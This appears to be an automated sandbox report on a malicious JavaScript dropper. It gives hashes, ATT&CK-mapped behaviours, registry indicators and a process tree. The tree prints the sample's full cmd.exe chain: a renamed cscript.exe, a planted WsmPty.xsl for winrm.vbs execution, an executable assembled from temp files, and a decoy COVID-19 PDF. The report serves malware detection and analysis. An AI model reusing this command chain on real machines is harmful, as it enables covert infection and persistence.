f74199f59533fbbe57f0b2aae45c837b3ed5e4f5184e74c02e06c12c6535f0f9

General

Target

9sOXN6Ltf0afe7.js
Size

792B
MD5

4f8ff5e70647dbc5d91326346c393729
SHA1

2fd4eb78e53af6a5b210943ca8f0e521bb567afb
SHA256

70b8397f87e4a0d235d41b00a980a8be9743691318d30293f7aa6044284ffc9c
SHA512

70befa1aaebca808fab2f3538897380b8ad988106eab300dfe4063e1a6933ce77ff01949f99e5741ac8ffb0653e65b946de4f87e5a035926b18bfb3e5e4ec2ef

Score

8^/10

persistence

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

msproof.exe

pid process

3364 msproof.exe
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

wscript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation wscript.exe
Adds Run key to start application 2 TTPs 1 IoCs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Processes:

msedge.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe

pid	process
3364	msproof.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	wscript.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe

Drops file in Program Files directory 2 IoCs

Processes:

setup.exe

description	ioc	process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\cdd847f2-16a4-4b25-90c4-cf6140897f3b.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20220201033709.pma	setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 41 IoCs

Processes:

WaaSMedicAgent.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe

Modifies registry class 1 IoCs

Processes:

msedge.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ msedge.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1200 PING.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

pid	process
1200	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

msedge.exemsedge.exeidentity_helper.exemsedge.exe

pid	process
2500	msedge.exe
2500	msedge.exe
1152	msedge.exe
1152	msedge.exe
4904	identity_helper.exe
4904	identity_helper.exe
4036	msedge.exe
4036	msedge.exe
4036	msedge.exe
4036	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

Processes:

msedge.exe

pid process

1152 msedge.exe
1152 msedge.exe
1152 msedge.exe
1152 msedge.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

msedge.exe

pid process

1152 msedge.exe
1152 msedge.exe

pid	process
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe

pid	process
1152	msedge.exe
1152	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

wscript.execmd.exemsedge.exe

description	pid	process	target process
PID 1800 wrote to memory of 1292	1800	wscript.exe	cmd.exe
PID 1800 wrote to memory of 1292	1800	wscript.exe	cmd.exe
PID 1292 wrote to memory of 3364	1292	cmd.exe	msproof.exe
PID 1292 wrote to memory of 3364	1292	cmd.exe	msproof.exe
PID 1292 wrote to memory of 1200	1292	cmd.exe	PING.EXE
PID 1292 wrote to memory of 1200	1292	cmd.exe	PING.EXE
PID 1292 wrote to memory of 1152	1292	cmd.exe	msedge.exe
PID 1292 wrote to memory of 1152	1292	cmd.exe	msedge.exe
PID 1152 wrote to memory of 3540	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3540	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 3272	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 2500	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 2500	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 1040	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 1040	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 1040	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 1040	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 1040	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 1040	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 1040	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 1040	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 1040	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 1040	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 1040	1152	msedge.exe	msedge.exe
PID 1152 wrote to memory of 1040	1152	msedge.exe	msedge.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\9sOXN6Ltf0afe7.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1800

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c mkdir C:\Users\Admin\AppData\Local\Temp\cscript.exe&for /r C:\Windows\System32\ %m in (cscr*.exe) do copy %m C:\Users\Admin\AppData\Local\Temp\cscript.exe\msproof.exe /y&move /Y C:\Users\Admin\AppData\Local\Temp\cSi1r0uywDNvDu.tmp C:\Users\Admin\AppData\Local\Temp\cscript.exe\WsmPty.xsl&C:\Users\Admin\AppData\Local\Temp\cscript.exe\msproof.exe //nologo C:\Windows\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty&del "C:\Users\Admin\OFFICE12\Wordcnvpxy.exe" /f /q&ping -n 1 127.0.0.1&move /Y C:\Users\Admin\AppData\Local\Temp\486AULMsOPmf6W.tmp "C:\Users\Admin\OFFICE12\MSOSTYLE.EXE"&move /Y C:\Users\Admin\AppData\Local\Temp\3UDBUTNY7YstRc.tmp "C:\Users\Admin\OFFICE12\OINFO12.OCX"&copy /b C:\Users\Admin\AppData\Local\Temp\2m7EBxdH3wHwBO.tmp+C:\Users\Admin\AppData\Local\Temp\MiZl5xsDRylf0W.tmp "C:\Users\Admin\OFFICE12\Wordcnvpxy.exe" /Y&"C:\Users\Admin\AppData\Local\Temp\20200308-sitrep-48-covid-19.pdf"
2⤵
- Suspicious use of WriteProcessMemory
PID:1292

C:\Users\Admin\AppData\Local\Temp\cscript.exe\msproof.exe
C:\Users\Admin\AppData\Local\Temp\cscript.exe\msproof.exe //nologo C:\Windows\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
3⤵
- Executes dropped EXE
PID:3364

C:\Windows\system32\PING.EXE
ping -n 1 127.0.0.1
3⤵
- Runs ping.exe
PID:1200

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\20200308-sitrep-48-covid-19.pdf
3⤵
- Adds Run key to start application
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1152

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff157e46f8,0x7fff157e4708,0x7fff157e4718
4⤵
PID:3540

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2376,12148746049252484603,15907242130056936346,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2400 /prefetch:2
4⤵
PID:3272

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2376,12148746049252484603,15907242130056936346,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 /prefetch:3
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:2500

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2376,12148746049252484603,15907242130056936346,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2752 /prefetch:8
4⤵
PID:1040

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2376,12148746049252484603,15907242130056936346,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3836 /prefetch:1
4⤵
PID:3248

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2376,12148746049252484603,15907242130056936346,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3488 /prefetch:1
4⤵
PID:2236

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2376,12148746049252484603,15907242130056936346,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5296 /prefetch:8
4⤵
PID:1676

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2376,12148746049252484603,15907242130056936346,131072 --disable-gpu-compositing --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5352 /prefetch:1
4⤵
PID:3744

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --field-trial-handle=2376,12148746049252484603,15907242130056936346,131072 --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=6148 /prefetch:6
4⤵
PID:2464

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2376,12148746049252484603,15907242130056936346,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2164 /prefetch:1
4⤵
PID:4788

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2376,12148746049252484603,15907242130056936346,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6476 /prefetch:8
4⤵
PID:4880

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2376,12148746049252484603,15907242130056936346,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6476 /prefetch:8
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4904

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
4⤵
- Drops file in Program Files directory
PID:4980

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff6c4eb5460,0x7ff6c4eb5470,0x7ff6c4eb5480
5⤵
PID:5008

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2376,12148746049252484603,15907242130056936346,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5720 /prefetch:8
4⤵
PID:4740

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2376,12148746049252484603,15907242130056936346,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2388 /prefetch:8
4⤵
PID:3204

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2376,12148746049252484603,15907242130056936346,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3508 /prefetch:8
4⤵
PID:4068

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2376,12148746049252484603,15907242130056936346,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3440 /prefetch:2
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:3808

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3744

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 0546a46c03aa5166ddcea45005bb37ed O/t/vqmvr0W6dqZWOuA7UQ.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:4392

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

2

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\cscript.exe\msproof.exe
MD5
24590bf74bbbbfd7d7ac070f4e3c44fd

SHA1
cdfe517d07f18623778829aa98d6bbadd3f294cd

SHA256
ae37fd1b642e797b36b9ffcec8a6e986732d011681061800c6b74426c28a9d03

SHA512
ffaf2c86c9555513cdb51a7638f1fde3e8951a203aac63fd0aac62db297c853ac8c14e1a212c01d6b181df53e790f80489358489f6415d5c7fa53bfb8888bfa9

Download Submit
C:\Users\Admin\AppData\Local\Temp\cscript.exe\msproof.exe
MD5
24590bf74bbbbfd7d7ac070f4e3c44fd

SHA1
cdfe517d07f18623778829aa98d6bbadd3f294cd

SHA256
ae37fd1b642e797b36b9ffcec8a6e986732d011681061800c6b74426c28a9d03

SHA512
ffaf2c86c9555513cdb51a7638f1fde3e8951a203aac63fd0aac62db297c853ac8c14e1a212c01d6b181df53e790f80489358489f6415d5c7fa53bfb8888bfa9

Download Submit
\??\pipe\LOCAL\crashpad_1152_UVJBGBHOMEAUBWIA
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/3272-139-0x00007FFF331F0000-0x00007FFF331F1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads